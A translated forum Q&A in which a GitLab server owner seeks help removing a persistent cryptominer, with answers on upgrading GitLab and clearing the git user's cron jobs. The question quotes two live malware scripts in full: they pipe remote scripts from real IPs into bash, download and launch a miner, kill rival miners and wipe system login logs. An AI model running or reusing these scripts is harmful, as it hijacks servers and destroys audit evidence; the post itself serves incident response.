如何在 ubuntu 服务器上跟踪恶意软件来源并阻止它

Posted

技术标签:

【中文标题】如何在 ubuntu 服务器上跟踪恶意软件来源并阻止它【英文标题】:How to to trace malware orignation on ubuntu server and stop it 【发布时间】:2021-12-18 06:45:08 【问题描述】:

我有一个带有自托管 giltab-ce 的 ubuntu 服务器,两天前我的服务器开始使用 400% 的 CPU。 我的托管服务提供商建议我更新我的 Gitlab(版本 13.6.1),我更新到 13.9。 尽管如此,还是会定期有一些进程开始运行并且使用的 CPU 比所有 CPU 都多。

一开始,我认为这是问题所在(因为托管服务提供商将此链接附加到电子邮件中):https://hackerone.com/reports/1154542

然后我看到进程名称是kdevtmpfsi,并按照这个问题的所有答案:kdevtmpfsi using the entire CPU

仍然没有任何帮助,脚本会在几个小时后周期性地反复启动。

/tmp/.ssh 文件夹中,我找到了一个包含以下内容的 redis.sh 脚本:

while true
do
    killall -q -9 kdevtmpfsi
    killall -q -9 kinsing
    killall -q -9 xmrig
    killall -q -9 xmr
    killall -q -9 qwer
    pkill -9 kthreaddk
    pkill -9 kwolker
    pkill -9 mini
    pkill -9 kacpi_notifyd
    pkill -9 vim
    pkill -9 mym
    pkill -9 network
    pkill -9 .libs
    pkill -9 javase
    pkill -9 libexec
    rm -rf /usr/lib/vmware-vsphere-ui/server/postgres
    rm -rf /usr/lib/vmware-vsphere-ui/server/postgres_start.sh
    rm -rf /usr/lib/vmware-vsphere-ui/server/kvm.sh
    rm -rf /usr/lib/vmware-vsphere-ui/server/elastic.sh
    rm -rf $HOME/postgres
    rm -rf $HOME/kvm.sh
    rm -rf $HOME/elastic.sh
    ps aux | grep -v grep | grep 'javaupDates' | awk 'print $2' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'givemexyz' | awk 'print $2' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'dbused' | awk 'print $2' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'kdevtmpfsi' | awk 'print $2' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'kinsing' | awk 'print $2' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'cpu-force-autoconfig' | awk 'print $2' | xargs -i kill -9 
    ps aux | grep -v grep | grep 'kvm.sh' | awk 'print $2' | xargs -i kill -9 
    ps aux | grep -v grep | grep 'elastic.sh' | awk 'print $2' | xargs -i kill -9 
    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'wget' | awk 'print $2' | xargs -i kill -9 
    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'curl' | awk 'print $2' | xargs -i kill -9 
    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'urlopen' | awk 'print $2' | xargs -i kill -9 
    ps aux | grep -v grep | grep '/var/tmp/.postgres/' | awk 'print $2' | xargs -i kill -9 
    ps aux | grep -v grep | grep 'postgres_start.sh' | awk 'print $2' | xargs -i kill -9 
    ps aux | grep -v grep | grep 'kinsing' | awk 'print $2' | xargs -i kill -9 
    ps aux | grep -v grep | grep 'xmrig' | awk 'print $2' | xargs -i kill -9 
    ps aux | grep -v grep | grep 'xmr' | awk 'print $2' | xargs -i kill -9 
    ps aux | grep -v grep | grep 'kdevtmpfsi' | awk 'print $2' | xargs -i kill -9 
    ps aux | grep -v grep | grep 'kthreaddk' | awk 'print $2' | xargs -i kill -9 
    ps aux | grep -v grep | grep 'kthreaddi' | awk 'print $2' | xargs -i kill -9 
    PROC_NAME=/tmp/system
    ProcNumber=`ps -ef |grep -w $PROC_NAME|grep -v grep|wc -l`
    if [ $ProcNumber -le 0 ];then
        if hash curl 2>/dev/null;then
            curl http://135.125.217.87/stl.sh | bash >/dev/null 2>&1 &
        else
            python -c "import requests;url='http://165.227.239.108/stl.sh';tmp=requests.get(url);open('./static.sh','wb').write(tmp.content)"
            bash ./static.sh >/dev/null 2>&1 &
        fi
        break
    fi
done

我删除了该文件,创建了一个空白文件并仅授予读取权限。

调用此过程的用户是git。我停止了gitlab并删除了git用户。

你能告诉我下一步该怎么做吗?我想了解的是创建这些文件和 cronjobs 的过程。

我正在尝试一切,但几个小时后问题又出现了。下次返回时应该注意什么?

编辑:我发现另一个文件正在下载我粘贴的那个文件。

dan@dan:~/$ cat stl.sh
rm -rf /var/tmp/*
rm -rf /tmp/*
killall -q -9 /var/tmp/.postgres/*
ps aux | grep -v grep | grep 'runnerbus' | awk 'print $2' | xargs -i kill -9 
rm -rf /var/tmp/.postgres
rm -rf /tmp/.*
rm -rf /var/tmp/.*
rm -rf /etc/cron.hourly/oanacroner
rm -rf /etc/cron.hourly/oanacrona
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.daily/oanacrona
rm -rf /etc/cron.monthly/oanacroner
rm -rf xmrig-6.13.1/
rm -rf xmrig-6.13.1-linux-x64.tar.gz
rm -rf $HOME/moneroocean/
rm -rf /var/tmp/moneroocean/
rm -rf /root/moneroocean/
rm -rf $HOME/c3pool/
rm -rf /tmp/.tmp/xlog
rm -rf /var/tmp/.postgres
rm -rf /tmp/kwolker
rm -rf /tmp/kdevtmpfsi
rm -rf /tmp/kinsing
rm -rf /tmp/libexec
rm -rf /tmp/mym
rm -rf /usr/bin/kinsing*
rm -rf /etc/cron.d/kinsing*
ps aux | grep -v grep | grep 'postgres_start.sh' | awk 'print $2' | xargs -i kill -9 
ps aux | grep -v grep | grep '/var/tmp/.postgres_start/postgres_start.sh' | awk 'print $2' | xargs -i kill -9 
killall -q -9 workrun.sh
killall -q -9 /tmp/kwolker
killall -q -9 /tmp/mym
killall -q -9 xmr
killall -q -9 kdevtmpfsi
killall -q -9 kinsing
killall -q -9 xmrig
killall -q -9 minerd
killall -q -9 minerd
killall -q -9 xig
killall -q -9 cpuminer
pkill -9 kworker
pkill -9 kwolker
pkill -9 mym
sleep 1
if hash curl 2>/dev/null;then
    echo "has curl 1"
    curl --progress-bar http://135.125.217.87/static.c -o /tmp/system
else
    echo "haven't curl 1"
    python -c "import requests;url='http://135.125.217.87/static.c';tmp=requests.get(url);open('./system','wb').write(tmp.content)"
fi
chmod +x /tmp/system
mkdir /tmp/.ssh
echo > /var/log/wtmp
echo > /var/log/lastlog
echo >   /var/log/utmp
cat /dev/null >  /var/log/secure
cat /dev/null >  /var/log/message
sed  -i '/107.191.63.34/'d  /var/log/messages
sed -i 's/107.191.63.34/127.0.0.1/g' secure
/tmp/system -o 207.38.87.6:3333 -p $HOSTNAME -k -B --cpu-priority 5 -l /tmp/.ssh/xlog --randomx-1gb-pages >/dev/null 2>&1
sleep 1
if hash curl 2>/dev/null;then
    echo "has curl 2"
    curl http://135.125.217.87/stlalive.sh -o /tmp/.ssh/redis.sh
else
    mkdir /tmp/.ssh
    echo "haven't curl 2"
    python -c "import requests;url='http://135.125.217.87/stlalive.sh';tmp=requests.get(url);open('/tmp/.ssh/redis.sh','wb').write(tmp.content)"
fi
sleep 1
chmod +x /tmp/.ssh/redis.sh
nohup /tmp/.ssh/redis.sh >/dev/null 2>&1 &
rm -rf ./run.sh

我删除了这个文件,创建了一个同名的新文件,只能读取。然后我停止了 git 的所有进程,再次删除了 git 用户。重构 gitlab。已经 10 个小时没有其他攻击了。

【问题讨论】:

我也在托管一个自托管的 gitlab 服务器,我今天也遇到了同样的攻击。 git 正在执行一个名为 dbused 的二进制文件,它将 CPU 限制为 200%。杀死该进程会在几分钟后再次产生它。该进程由 git 启动。 看看我更新的问题。我找到并删除了该文件,创建了一个同名的新文件,只能读取。然后我停止了 git 的所有进程,再次删除了 git 用户。重构 gitlab。距离没有其他攻击已经过去 10 个小时了。 恶意软件又回来了,它没有用 显然与Gitlab中的一个漏洞有关:therecord.media/… 顺便说一句:Ubuntu 中 400% 的 CPU 使用率并不意味着它实际上使用的容量是 CPU 中的四倍,这很愚蠢。相反,它使用 4 个核心来实现 100% 的全部性能。因此,如果你有一个四核处理器,400% 意味着完全使用。 【参考方案1】:

我们也遇到了这个问题,请先将您的 GitLab 更新到其中一个版本:

13.10.3
13.9.6
13.8.8

在与 git 用户连接的干净 crontab 之后,删除位于 /tmp 文件夹中的 git 用户拥有的所有文件。

现在你可以重启服务器了,应该没问题:)

【讨论】:

这行得通。人们将您的 gitlab 更新到这些版本。然后删除恶意软件安装的所有内容。 therecord.media/… @Uxie,更新 Gitlab 完全删除了恶意软件。非常感谢。在此链接中,您可以找到可能受恶意软件影响的 Gitlab 版本。 about.gitlab.com/blog/2021/11/04/…【参考方案2】:

我最近遇到了这个问题。

搜索是否有任何用户正在执行任何计划任务。

您可以使用以下命令执行此操作:

for user in $(cut -f1 -d: /etc/passwd); do echo "> User: " $user; crontab -u $user -l; done

如果你注意到 git 用户有一个任务,检查它是什么,如果它是可疑的,删除它。

也可以查看git用户的.bashrc文件,查看是否有行执行dbused命令。

【讨论】:

这帮助我在 crontab(git 用户)中找到了恶意软件脚本。谢谢。【参考方案3】:

这是我找到的解决方案:

我注意到进程 kthreaddk

导致服务器负载过重

我了解到这个恶意软件是一个加密货币矿工。

所有者是 git,我的系统由于 gitlab 中的漏洞而受到损害。

有许多正在运行的 kthreaddk 实例。当我杀死它们时,它们很快就会重生。我调查了这是如何发生的,发现恶意软件正在一个随机文件夹中创建自身的副本(一个可执行文件),并创建一个将每秒为 git 用户触发的 cronjob。因此,当您终止进程时,它们会在一秒钟内自动重生。如果删除 cronjob,正在运行的进程(已经在内存中)会在 cronjob 中创建另一个任务。

我找到的解决方案是将以下几行放入像 remove-malware.sh 这样的批处理文件中,通过运行chmod +x ./remove-malware.sh 使其可执行并通过./remove-malware.sh 执行它:

sudo kilall -u git
sudo crontab -u git -r

第一行杀死所有启动/属于 git 用户的进程。 第二行删除了 git 用户的所有 cronjobs。

但要小心!如果您正在运行关键进程(属于 git 用户),它们将被终止。并且 git 用户的任何 cronjob 都会被清除干净。

【讨论】:

【参考方案4】:

我想在 Uxie 的回答中添加一些内容。

你可以去https://yourgitlabsite/help检查你的Gitlab版本是否安全。这里的“update asap”意味着你应该尽快更新你的 Gitlab。

【讨论】:

以上是关于如何在 ubuntu 服务器上跟踪恶意软件来源并阻止它的主要内容,如果未能解决你的问题,请参考以下文章

在 Ubuntu Snap 应用商店上发现的加密货币 ‘恶意软件’ 是怎么回事?

在 iOS 上设置安装引荐来源网址和收入跟踪

如何快速找出Linux服务器上不该存在恶意或后门文件

如何在网站上查找恶意代码/恶意软件 [关闭]

我的网站感染了混淆的 PHP 恶意软件 - 它在做啥 + 我如何摆脱它?

如何安装 OpenCV 3.3.1。跟踪 API (Ubuntu 16.04)